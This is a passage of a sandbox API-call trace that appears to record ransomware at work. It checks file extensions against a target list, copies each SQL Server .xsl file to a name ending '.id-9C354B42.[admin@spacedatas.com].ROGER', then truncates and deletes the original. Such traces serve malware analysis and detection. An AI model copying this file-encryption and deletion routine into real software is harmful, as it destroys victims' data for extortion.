[0052.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.870] lstrlenW (lpString=".1cd") returned 4 [0052.870] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0052.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.870] lstrlenW (lpString=".jpg") returned 4 [0052.870] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0052.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.871] lstrlenW (lpString=".doc") returned 4 [0052.871] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString=".docx") returned 5 [0052.871] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0052.871] lstrlenW (lpString=".pdf") returned 4 [0052.871] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString=".xls") returned 4 [0052.871] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString=".xlsx") returned 5 [0052.871] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0052.871] lstrlenW (lpString=".ppt") returned 4 [0052.871] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.871] lstrlenW (lpString=".zip") returned 4 [0052.871] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0052.871] lstrlenW (lpString=".rar") returned 4 [0052.871] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString=".bz2") returned 4 [0052.871] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString=".7z") returned 3 [0052.871] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0052.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.871] lstrlenW (lpString=".dbf") returned 4 [0052.871] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.871] lstrlenW (lpString=".1cd") returned 4 [0052.871] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0052.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.871] lstrlenW (lpString=".jpg") returned 4 [0052.871] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0052.872] lstrcmpiW (lpString1=".xsl", lpString2=".ROGER") returned 1 [0052.872] lstrlenW (lpString="sql2000.xsl") returned 11 [0052.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.136] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=34076) returned 1 [0054.136] CloseHandle (hObject=0x358) returned 1 [0054.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0054.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.137] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.137] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.137] GetLastError () returned 0x0 [0054.137] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x851c, lpOverlapped=0x0) returned 1 [0054.140] WriteFile (in: hFile=0x33c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x8520, lpOverlapped=0x0) returned 1 [0054.142] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.142] WriteFile (in: hFile=0x33c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.142] SetEndOfFile (hFile=0x33c) returned 1 [0054.142] CloseHandle (hObject=0x33c) returned 1 [0054.142] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.142] SetEndOfFile (hFile=0x358) returned 1 [0054.143] CloseHandle (hObject=0x358) returned 1 [0054.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0054.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.144] lstrlenW (lpString=".doc") returned 4 [0054.144] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString=".docx") returned 5 [0054.144] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.144] lstrlenW (lpString=".pdf") returned 4 [0054.144] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString=".xls") returned 4 [0054.144] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString=".xlsx") returned 5 [0054.144] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.144] lstrlenW (lpString=".ppt") returned 4 [0054.144] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.144] lstrlenW (lpString=".zip") returned 4 [0054.144] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.144] lstrlenW (lpString=".rar") returned 4 [0054.144] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString=".bz2") returned 4 [0054.144] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString=".7z") returned 3 [0054.144] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.144] lstrlenW (lpString=".dbf") returned 4 [0054.144] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.144] lstrlenW (lpString=".1cd") returned 4 [0054.144] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.144] lstrlenW (lpString=".jpg") returned 4 [0054.144] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.145] lstrlenW (lpString=".doc") returned 4 [0054.145] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString=".docx") returned 5 [0054.145] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.145] lstrlenW (lpString=".pdf") returned 4 [0054.145] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString=".xls") returned 4 [0054.145] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString=".xlsx") returned 5 [0054.145] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.145] lstrlenW (lpString=".ppt") returned 4 [0054.145] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.145] lstrlenW (lpString=".zip") returned 4 [0054.145] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.145] lstrlenW (lpString=".rar") returned 4 [0054.145] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString=".bz2") returned 4 [0054.145] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString=".7z") returned 3 [0054.145] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.145] lstrlenW (lpString=".dbf") returned 4 [0054.145] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.145] lstrlenW (lpString=".1cd") returned 4 [0054.145] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0054.145] lstrlenW (lpString=".jpg") returned 4 [0054.145] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.146] lstrcmpiW (lpString1=".xsl", lpString2=".ROGER") returned 1 [0054.146] lstrlenW (lpString="sql70.xsl") returned 9 [0054.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.147] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=32146) returned 1 [0054.147] CloseHandle (hObject=0x358) returned 1 [0054.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0054.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.147] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.147] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.147] GetLastError () returned 0x0 [0054.147] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x7d92, lpOverlapped=0x0) returned 1 [0054.150] WriteFile (in: hFile=0x33c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0054.151] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.151] WriteFile (in: hFile=0x33c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.151] SetEndOfFile (hFile=0x33c) returned 1 [0054.151] CloseHandle (hObject=0x33c) returned 1 [0054.151] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.151] SetEndOfFile (hFile=0x358) returned 1 [0054.152] CloseHandle (hObject=0x358) returned 1 [0054.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0054.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.153] lstrlenW (lpString=".doc") returned 4 [0054.153] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.153] lstrlenW (lpString=".docx") returned 5 [0054.153] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.153] lstrlenW (lpString=".pdf") returned 4 [0054.153] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.153] lstrlenW (lpString=".xls") returned 4 [0054.153] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.153] lstrlenW (lpString=".xlsx") returned 5 [0054.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.153] lstrlenW (lpString=".ppt") returned 4 [0054.153] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.153] lstrlenW (lpString=".zip") returned 4 [0054.153] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.153] lstrlenW (lpString=".rar") returned 4 [0054.153] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.153] lstrlenW (lpString=".bz2") returned 4 [0054.153] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.153] lstrlenW (lpString=".7z") returned 3 [0054.153] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.154] lstrlenW (lpString=".dbf") returned 4 [0054.154] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.154] lstrlenW (lpString=".1cd") returned 4 [0054.154] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.154] lstrlenW (lpString=".jpg") returned 4 [0054.154] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.154] lstrlenW (lpString=".doc") returned 4 [0054.154] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString=".docx") returned 5 [0054.154] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.154] lstrlenW (lpString=".pdf") returned 4 [0054.154] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString=".xls") returned 4 [0054.154] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString=".xlsx") returned 5 [0054.154] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.154] lstrlenW (lpString=".ppt") returned 4 [0054.154] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.154] lstrlenW (lpString=".zip") returned 4 [0054.154] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.154] lstrlenW (lpString=".rar") returned 4 [0054.154] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString=".bz2") returned 4 [0054.154] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.154] lstrlenW (lpString=".7z") returned 3 [0054.155] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.155] lstrlenW (lpString=".dbf") returned 4 [0054.155] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.155] lstrlenW (lpString=".1cd") returned 4 [0054.155] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.155] lstrlenW (lpString=".jpg") returned 4 [0054.155] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.155] lstrcmpiW (lpString1=".xsl", lpString2=".ROGER") returned 1 [0054.155] lstrlenW (lpString="sql90.xsl") returned 9 [0054.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.155] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=39515) returned 1 [0054.155] CloseHandle (hObject=0x358) returned 1 [0054.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0054.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.156] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.156] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.156] GetLastError () returned 0x0 [0054.156] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0054.164] WriteFile (in: hFile=0x33c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0054.165] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.165] WriteFile (in: hFile=0x33c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.165] SetEndOfFile (hFile=0x33c) returned 1 [0054.165] CloseHandle (hObject=0x33c) returned 1 [0054.165] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.165] SetEndOfFile (hFile=0x358) returned 1 [0054.166] CloseHandle (hObject=0x358) returned 1 [0054.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0054.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.167] lstrlenW (lpString=".doc") returned 4 [0054.167] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.167] lstrlenW (lpString=".docx") returned 5 [0054.167] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.167] lstrlenW (lpString=".pdf") returned 4 [0054.167] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.167] lstrlenW (lpString=".xls") returned 4 [0054.167] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.167] lstrlenW (lpString=".xlsx") returned 5 [0054.167] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.167] lstrlenW (lpString=".ppt") returned 4 [0054.167] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.167] lstrlenW (lpString=".zip") returned 4 [0054.167] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.167] lstrlenW (lpString=".rar") returned 4 [0054.167] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString=".bz2") returned 4 [0054.168] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString=".7z") returned 3 [0054.168] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.168] lstrlenW (lpString=".dbf") returned 4 [0054.168] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis 